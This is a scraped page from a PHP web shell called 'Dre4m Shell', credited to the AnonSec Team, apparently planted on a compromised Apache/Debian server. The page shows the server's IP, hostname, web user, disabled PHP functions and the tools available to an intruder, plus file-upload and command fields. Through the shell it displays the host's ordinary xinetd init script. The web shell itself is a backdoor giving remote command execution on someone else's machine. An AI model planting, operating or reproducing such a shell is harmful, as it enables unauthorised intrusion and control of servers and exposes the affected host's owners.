Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.226.214.1
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/3/root/etc/rc5.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/3/root/etc/rc5.d/S02xinetd
#!/bin/sh
### BEGIN INIT INFO
# Provides:          xinetd inetd
# Required-Start:    $local_fs $remote_fs $network
# Required-Stop:     $local_fs $remote_fs $network
# Should-Start:      $syslog
# Should-Stop:       $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Starts or stops the xinetd daemon.
# Description:       Starts and stops xinetd, an inetd replacement
### END INIT INFO

# clear poisonned environment
unset TMPDIR

NAME=xinetd
DAEMON=/usr/sbin/$NAME
PIDFILE=/run/$NAME.pid

test -x "$DAEMON" || exit 0

test -e /etc/default/$NAME && . /etc/default/$NAME
case "$INETD_COMPAT" in
    [Yy]*)
        XINETD_OPTS="$XINETD_OPTS -inetd_compat"
        if perl -MSocket -e 'exit (!socket($sock, AF_INET6, SOCK_STREAM, 0))'; then
            XINETD_OPTS="$XINETD_OPTS -inetd_ipv6"
        fi
        ;;
esac

. /lib/lsb/init-functions

checkportmap () {
    if grep "^[^ *#]" /etc/xinetd.conf | grep -q 'rpc/'; then
        if ! rpcinfo -u localhost portmapper >/dev/null 2>&1; then
            echo
            echo "WARNING: portmapper inactive - RPC services unavailable!"
            echo "    Commenting out or removing the RPC services from"
            echo "    the /etc/xinetd.conf file will remove this message."
            echo
        fi
    fi
}

case "$1" in
    start)
        checkportmap
        log_daemon_msg "Starting internet superserver" "$NAME"
        start-stop-daemon --pidfile "$PIDFILE" --start --quiet --background --exec "$DAEMON" -- \
            -pidfile "$PIDFILE" $XINETD_OPTS
        log_end_msg $?
        ;;
    stop)
        log_daemon_msg "Stopping internet superserver" "$NAME"
        start-stop-daemon --pidfile "$PIDFILE" --stop --signal 3 --quiet --oknodo --exec "$DAEMON"
        log_end_msg $?
        ;;
    reload)
        log_daemon_msg "Reloading internet superserver configuration" "$NAME"
        start-stop-daemon --pidfile "$PIDFILE" --stop --signal 1 --quiet --oknodo --exec "$DAEMON"
        log_end_msg $?
        ;;
    restart|force-reload)
        $0 stop
        $0 start
        ;;
    status)
        status_of_proc -p "$PIDFILE" "$DAEMON"
        R=$?
        if test "$R" = "0" ; then
            kill -10 $(cat "$PIDFILE")
            cat /var/run/xinetd.dump
        fi
        exit $R
        ;;
    *)
        echo "Usage: /etc/init.d/xinetd {start|stop|reload|force-reload|restart|status}"
        exit 1
        ;;
esac

exit 0

Anon7 - 2022
AnonSec Team